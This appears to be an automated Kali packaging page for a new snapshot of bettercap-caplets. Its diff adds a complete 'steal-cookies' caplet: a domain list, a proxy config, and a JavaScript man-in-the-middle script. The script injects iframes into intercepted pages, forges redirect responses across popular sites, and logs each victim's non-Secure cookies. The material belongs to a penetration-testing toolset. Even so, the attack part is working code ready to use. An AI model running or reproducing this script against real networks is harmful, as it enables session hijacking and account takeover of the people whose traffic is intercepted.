Run of fresh-snapshots for bettercap-caplets

Try this locally package):

debcheckout bettercap-caplets
cd bettercap-caplets
new-upstream --snapshot --debian-revision=0kali1

Summary

new-upstream --snapshot --debian-revision=0kali1

Diff

Branch: pristine-tar

diff --git a/bettercap-caplets_0+git20210412.orig.tar.gz.delta b/bettercap-caplets_0+git20210412.orig.tar.gz.delta
new file mode 100644
index 0000000..679ea7e
Binary files /dev/null and b/bettercap-caplets_0+git20210412.orig.tar.gz.delta differ
diff --git a/bettercap-caplets_0+git20210412.orig.tar.gz.id b/bettercap-caplets_0+git20210412.orig.tar.gz.id
new file mode 100644
index 0000000..d2992df
--- /dev/null
+++ b/bettercap-caplets_0+git20210412.orig.tar.gz.id
@@ -0,0 +1 @@
+7c7876970da2c1ef97edac6e2daa87e0a0081f24

Branch: upstream

Tag: upstream/0+git20210412
Unable to retrieve diff; error 400

Branch: main

diff --git a/debian/changelog b/debian/changelog
index 62ee9aa..6dfd3d9 100644
--- a/debian/changelog
+++ b/debian/changelog
@@ -1,3 +1,9 @@
+bettercap-caplets (0+git20210412-0kali1) UNRELEASED; urgency=low
+
+  * New upstream snapshot.
+
+ -- Kali Janitor <janitor@kali.org>  Mon, 12 Apr 2021 14:52:32 -0000
+
 bettercap-caplets (0+git20201031-0kali1) kali-dev; urgency=medium
 
   [ Kali Janitor ]
diff --git a/steal-cookies/README.md b/steal-cookies/README.md
new file mode 100644
index 0000000..193d08d
--- /dev/null
+++ b/steal-cookies/README.md
@@ -0,0 +1,4 @@
+# Steal cookies
+
+Enumerate each domain from file and steal all cookies without `Secure` flag.
+
diff --git a/steal-cookies/domains.txt b/steal-cookies/domains.txt
new file mode 100644
index 0000000..51c5c95
--- /dev/null
+++ b/steal-cookies/domains.txt
@@ -0,0 +1,10 @@
+google.com
+youtube.com
+facebook.com
+baidu.com
+wikipedia.org
+reddit.com
+yahoo.com
+google.co.in
+qq.com
+amazon.com
\ No newline at end of file
diff --git a/steal-cookies/steal-cookies.cap b/steal-cookies/steal-cookies.cap
new file mode 100644
index 0000000..e9513cf
--- /dev/null
+++ b/steal-cookies/steal-cookies.cap
@@ -0,0 +1,3 @@
+set steal-cookies.domains /usr/share/bettercap/caplets/steal-cookies/domains.txt
+set http.proxy.script steal-cookies.js
+http.proxy on
diff --git a/steal-cookies/steal-cookies.js b/steal-cookies/steal-cookies.js
new file mode 100644
index 0000000..6e358e5
--- /dev/null
+++ b/steal-cookies/steal-cookies.js
@@ -0,0 +1,104 @@
+var victims = {}
+
+function Rf(s)
+{
+    return "\033[31m" + s + "\033[0m"
+}
+function Rb(s)
+{
+    return "\033[41m" + s + "\033[0m"
+}
+
+function onLoad()
+{
+    log( "Cookies steal module loaded." );
+    log( "targets: " + env['arp.spoof.targets'] );
+}
+
+function onRequest(req, res)
+{
+    var ip = req.Client.IP,
+        hostname = req.Hostname,
+        headers, cookies
+
+    headers = req.Headers.replace(/\r\n$/g, "").split("\r\n")
+    for (var i = 0; i < headers.length; i++)
+    {
+        header_name = headers[i].replace(/:.*/, "")
+        if(header_name == 'Cookie')
+            cookies = headers[i].replace(/.*?: /, "");
+    }
+
+    if( req.Query.indexOf('__steal') != -1 )
+    {
+        if(cookies)
+            log( Rb( "[+] " + ip + " - " + hostname + "  " + cookies ) )
+
+        if( victims[ip] && victims[ip].length )
+        {
+            var hostname_index = victims[ip].indexOf(hostname)
+            if( hostname_index != -1 )
+                victims[ip].splice( hostname_index, 1 )
+            
+            if( victims[ip].length )
+                res.Body = '<html><head></head><body>\n' +
+                    '<h2></h2><h3 style="background-color:red"></h3>\n' + 
+                    '<script>document.getElementsByTagName("h2")[0].innerHTML="stealing "+location\n' +
+                    'document.getElementsByTagName("h3")[0].innerHTML=document.cookie</script>\n' +
+                    '<script>document.location="http://' + victims[ip][0] + '/?__steal"</script>\n' +
+                    '</body></html>'
+            else
+                res.Body = 'end stealing'
+            res.Status      = 200
+            res.ContentType = "text/html"
+            res.Headers     = "Connection: close"
+        }
+    }    
+}
+
+function onResponse(req, res)
+{
+    if( res.ContentType.indexOf('text/html') == 0 )
+    {
+        var body = res.ReadBody(),
+            ip = req.Client.IP
+
+        if(! victims[ip] )
+        {
+            victims[ip] = readFile(env["steal-cookies.domains"]).toString().split('\n')
+            body = body.replace(
+                '</body>',
+                '<iframe width="640" height="480" src="http://' + victims[ip][0] + '/?__steal">begin stealing</iframe></body>'
+            )
+            body = body.replace(
+                '</BODY>',
+                '<iframe width="640" height="480" src="http://' + victims[ip][0] + '/?__steal">begin stealing</iframe></BODY>'
+            )
+
+            log( Rf( "[*] new victim: " + ip + " - " + victims[ip][0] ) )
+
+            res.Body        = body
+            res.Status      = 200
+            res.ContentType = "text/html"
+            res.Headers     = "Connection: close"
+        }
+        else if( victims[ip].length && req.Query.indexOf('__steal') == -1 )
+        {
+            body = body.replace(
+                '</body>',
+                '<iframe width="640" height="480" src="http://' + victims[ip][0] + '/?__steal">continue stealing</iframe></body>'
+            )
+            body = body.replace(
+                '</BODY>',
+                '<iframe width="640" height="480" src="http://' + victims[ip][0] + '/?__steal">continue stealing</iframe></BODY>'
+            )
+
+            log( Rf( "[*] continue stealing: " + ip + " - " + victims[ip][0] ) )
+
+            res.Body        = body
+            res.Status      = 200
+            res.ContentType = "text/html"
+            res.Headers     = "Connection: close"
+        }
+    }
+}

Resulting package

The resulting binary packages can be installed (if you have the apt repository enabled) by running one of:

apt install -t kali-bleeding-edge bettercap-caplets

Full worker log Full build log Full dist log